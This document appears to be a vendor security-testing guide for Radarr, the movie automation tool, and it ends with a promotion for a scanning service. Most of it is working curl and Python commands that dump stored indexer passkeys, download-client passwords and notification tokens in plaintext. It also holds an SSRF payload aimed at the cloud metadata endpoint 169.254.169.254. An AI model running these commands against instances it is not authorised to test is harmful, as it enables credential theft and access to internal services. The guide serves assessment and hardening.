Radarr Security Testing: API Key, Indexer Credentials, Download Client, and Remote Access

Radarr is the movie automation counterpart to Sonarr in the *arr stack, sharing the same architecture and carrying the same credential aggregation risk: Radarr's API key in Settings > General provides full control over the instance including all stored indexer credentials and download client passwords; Radarr stores API keys and passwords for all configured indexers — including private tracker API keys and passkeys — in its SQLite database, and the /api/v3/indexer endpoint returns these credentials in plaintext to any authenticated caller; Radarr stores full connection credentials for all download clients including qBittorrent, SABnzbd, Deluge, and Transmission; Radarr's Import List feature accepts a remote URL and fetches movie lists server-side — URLs pointing to internal services create an SSRF vector triggered whenever Radarr syncs its lists; and Radarr's Custom Script notification feature can execute arbitrary scripts when movies are downloaded. This guide covers systematic Radarr security assessment with emphasis on the credential chain and import list SSRF that distinguish it from Sonarr.

Table of Contents

  1. API Key and Instance Enumeration
  2. Import List SSRF
  3. Indexer and Download Client Credentials
  4. Radarr Security Hardening

API Key and Instance Enumeration

# Radarr API — single key controls full instance
RADARR_URL="https://radarr.example.com"
API_KEY="your-radarr-api-key"

# Get host configuration (reveals API key and auth method)
curl -s "${RADARR_URL}/api/v3/config/host?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Auth method: {d.get(\"authenticationMethod\")}')
print(f'Port: {d.get(\"port\")}')
print(f'URL base: {d.get(\"urlBase\")}')
print(f'Bind address: {d.get(\"bindAddress\")}')
" 2>/dev/null

# List all movies in the library with file paths
curl -s "${RADARR_URL}/api/v3/movie?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
movies = json.load(sys.stdin)
print(f'Movies: {len(movies)}')
for m in movies[:10]:
    print(f'  {m.get(\"title\")} ({m.get(\"year\")}) path={m.get(\"path\")} hasFile={m.get(\"hasFile\")}')
" 2>/dev/null

# Get system status (version info, OS, runtime)
curl -s "${RADARR_URL}/api/v3/system/status?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Version: {d.get(\"version\")}')
print(f'OS: {d.get(\"osName\")} {d.get(\"osVersion\")}')
print(f'Runtime: {d.get(\"runtimeName\")} {d.get(\"runtimeVersion\")}')
print(f'App data: {d.get(\"appData\")}')
" 2>/dev/null

Import List SSRF

# Radarr Import List — server-side URL fetch creating SSRF opportunity
# Import Lists are URLs Radarr fetches to discover movies to add to its library
RADARR_URL="https://radarr.example.com"
API_KEY="your-radarr-api-key"

# List configured import lists (check for server-side URL fetching)
curl -s "${RADARR_URL}/api/v3/importlist?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
lists = json.load(sys.stdin)
print(f'Import lists: {len(lists)}')
for l in lists:
    print(f'  [{l.get(\"id\")}] {l.get(\"name\")} type={l.get(\"implementationName\")}')
    for field in l.get('fields',[]):
        if 'url' in field.get('name','').lower():
            print(f'    URL: {field.get(\"value\")}')
" 2>/dev/null

# Test SSRF by adding an import list with an internal URL target
# When Radarr syncs the list, it makes a server-side HTTP GET to the URL
# Cloud metadata endpoint target
curl -s -X POST "${RADARR_URL}/api/v3/importlist?apikey=${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "test-list",
    "implementationName": "PlexWatchlist",
    "implementation": "PlexWatchlist",
    "configContract": "PlexWatchlistSettings",
    "fields": [
      {"name": "baseUrl", "value": "http://169.254.169.254/latest/meta-data/"},
      {"name": "token", "value": "test"}
    ],
    "enabled": true,
    "enableAuto": false,
    "qualityProfileId": 1,
    "rootFolderPath": "/movies"
  }' 2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('id','error'))" 2>/dev/null

Indexer and Download Client Credentials

# Radarr indexers and download clients — full credential chain
RADARR_URL="https://radarr.example.com"
API_KEY="your-radarr-api-key"

# Extract all indexer credentials
curl -s "${RADARR_URL}/api/v3/indexer?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
indexers = json.load(sys.stdin)
print(f'Indexers: {len(indexers)}')
for idx in indexers:
    print(f'  {idx.get(\"name\")} [{idx.get(\"implementationName\")}]')
    for field in idx.get('fields',[]):
        fname = field.get('name','')
        fval = field.get('value','')
        if fval and any(k.lower() in fname.lower() for k in ['apikey','passkey','password','username','token']):
            print(f'    CREDENTIAL {fname}: {fval}')
        elif fname == 'baseUrl' and fval:
            print(f'    baseUrl: {fval}')
" 2>/dev/null

# Extract all download client credentials
curl -s "${RADARR_URL}/api/v3/downloadclient?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
clients = json.load(sys.stdin)
print(f'Download clients: {len(clients)}')
for c in clients:
    print(f'  {c.get(\"name\")} [{c.get(\"implementationName\")}]')
    for field in c.get('fields',[]):
        fname = field.get('name','')
        fval = field.get('value','')
        if fval and fname in ['host','port','username','password','apiKey','urlBase']:
            print(f'    {fname}: {fval}')
" 2>/dev/null

# Get all notification connections (Discord, Slack, Telegram, email)
curl -s "${RADARR_URL}/api/v3/notification?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
notifs = json.load(sys.stdin)
for n in notifs:
    print(f'  {n.get(\"name\")} [{n.get(\"implementationName\")}]')
    for field in n.get('fields',[]):
        if any(k in field.get('name','').lower() for k in ['url','token','webhook','bot','chat']):
            print(f'    {field.get(\"name\")}: {field.get(\"value\")}')
" 2>/dev/null

Radarr Security Hardening

Radarr Security Hardening Checklist:
Security TestMethodRisk
API key access to all stored credentialsGET /api/v3/indexer and /api/v3/downloadclient with API key — returns all configured indexer API keys/passkeys and download client username/password pairs in plaintextCritical
Import List SSRF on scheduled syncPOST /api/v3/importlist with internal URL as baseUrl — Radarr server makes GET request to configured URL on each list sync; can target cloud metadata endpoints and internal servicesHigh
No authentication by default on local networkGET /api/v3/movie without credentials — library contents, file paths, and all metadata accessible when authentication is disabled; file paths reveal storage layoutHigh
Custom Script notification code executionConfigure notification with Custom Script pointing to attacker-controlled script path — script executes on the Radarr host when a movie download event fires, with Radarr service account privilegesCritical (if writable)
Notification agent webhook and token extractionGET /api/v3/notification — returns all notification agent fields including Discord webhook URLs, Telegram bot tokens, Slack tokens, and email SMTP credentials used for download notificationsMedium

Automate Radarr Security Testing

Ironimo tests Radarr deployments for API key exposure giving full instance control, indexer credential extraction revealing private tracker API keys and passkeys, download client credential extraction exposing qBittorrent and SABnzbd username/password pairs, Import List SSRF via server-side URL fetching on sync, Custom Script notification code execution risk, and notification agent credential extraction.

Start free scan